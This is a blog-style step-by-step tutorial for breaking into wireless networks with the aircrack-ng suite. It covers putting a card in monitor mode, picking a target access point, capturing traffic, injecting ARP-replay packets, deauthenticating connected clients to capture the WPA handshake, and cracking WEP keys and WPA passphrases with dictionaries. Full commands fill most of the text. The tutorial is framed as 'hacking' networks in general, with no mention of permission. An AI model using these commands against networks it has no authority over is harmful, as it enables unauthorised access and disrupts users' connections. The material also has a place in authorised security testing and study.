We assume that if you have reached here to read this post, then supposedly you atleast know that to hack a wireless network you atleast need a wireless card installed machine, preferably a lappy which can be carried easily.

Step 1: airmon-ng

Please download Backtrack 4 from HERE

airmon-ng stop wlan0
iwconfig (to find all wireless network interfaces and their status)
airmon-ng start wlan0 (to set in monitor mode, you may have to substitute wlan0 for your own interface name)
Note: You can use the su command to switch to a root account.



Step 2: airodump-ng

This step assumes you've already set your wireless network interface in monitor mode. It can be checked by executing the iwconfig command. Next step is finding available wireless networks, and choosing your target:

airodump-ng mon0 - monitors all channels, listing available access points and associated clients within range. It is best to select a target network with strong signal (PWR column), more traffic (Beacons/Data columns) and associated clients (listed below all access points). Once you've selected a target, note its Channel and BSSID (MAC address). Also note any STATION associated with the same BSSID (client MAC addresses).


Step 3: airodump-ng (Capture data)

To capture data into a file, we use the airodump-ng tool again, with some additional switches to target a specific AP and channel. Most importantly, you should restrict monitoring to a single channel to speed up data collection, otherwise the wireless card has to alternate between all channels. Assuming our wireless card is mon0, and we want to capture packets on channel 6 into a text file called data:

airodump-ng -c 6 bssid 00:0F:CC:7D:5A:74 -w data mon0 

(-c 6 switch would capture data on channel 6, bssid 00:0F:CC:7D:5A:74 is the MAC address of our target access point, -w data specifies that we want to save captured packets into a file called "data" in the current directory, mon0 is our wireless network adapter)


You typically need between 20,000 and 40,000 data packets to successfully recover a WEP key.

Step 4: aireplay-ng (Increase Traffic)

An active network can usually be penetrated within a few minutes. However, slow networks can take hours, even days to collect enough data for recovering the WEP key.

This optional step allows a compatible network interface to inject/generate packets to increase traffic on the wireless network, therefore greatly reducing the time required for capturing data. The aireplay-ng command should be executed in a separate terminal window, concurrent to airodump-ng. It requires a compatible network card and driver that allows for injection mode.

Assuming your network card is capable of injecting packets, in a separate terminal window try:

aireplay-ng -3 -b 00:0F:CC:7D:5A:74 -h 00:14:A5:2F:A7:DE -x 50 wlan0
-3 --> this specifies the type of attack, in our case ARP-request replay
-b ..... --> MAC address of access point
-h ..... --> MAC address of associated client from airodump
-x 50 --> limit to sending 50 packets per second
wlan0 --> our wireless network interface

Step 5: aircrack-ng (Crack WEP)

WEP cracking is a simple process, only requiring collection of enough data to then extract the key and connect to the network. You can crack the WEP key while capturing data. In fact, aircrack-ng will re-attempt cracking the key after every 5000 packets.

To attempt recovering the WEP key, in a new terminal window, type:

aircrack-ng data*.cap 

 (assuming your capture file is called data...cap, and is located in the same directory)
.

Step 6: aircrack-ng

WPA, unlike WEP rotates the network key on a per-packet basis, rendering the WEP method of penetration useless. Cracking a WPA-PSK/WPA2-PSK key requires a dictionary attack on a handshake between an access point and a client. What this means is, you need to wait until a wireless client associates with the network (or deassociate an already connected client so they automatically reconnect). All that needs to be captured is the initial "four-way-handshake" association between the access point and a client. WPA hashes the network key using the wireless access point's SSID as salt. This prevents the statistical key-grabbing techniques that broke WEP, and makes hash precomputation more dificult because the specific SSID needs to be added as salt for the hash.

With all that said, the weakness of WPA-PSK comes down to the passphrase. A short/weak passphrase makes it vulnerable to dictionary attacks.

To successfully crack a WPA-PSK network, you first need a capture file containing handshake data. This can be obtained using the same technique as with WEP in step 3 above, using airodump-ng.

You may also try to deauthenticate an associated client to speed up this process of capturing a handshake, using:

aireplay-ng --deauth 3 -a MAC_AP -c MAC_Client
  (where MAC_IP is the MAC address of the access point, and MAC_Client is the MAC address of an associated client).

Once you have captured a four-way handshake, you also need a large/relevant dictinary file with common passphrases. See related links below for some wordlist links.

You can, then execute the following command in a linux terminal window (assuming both the dictionary file and captured data file are in the same directory):

aircrack-ng -w dictionary_file capture_file

Notes:
Cracking WPA-PSK and WPA2-PSK may take much longer, and will only succeed with weak passphrases and good dictionary files.

Alternatively, there are tools like coWPAtty that can use precomputed hash files to speed up dictionary attacks. Those hash files can be very effective, but quite big in size. The Church of WiFi has computed hash tables for the 1000 most common SSIDs against a million common passphrases that are 7Gb and 33Gb in size...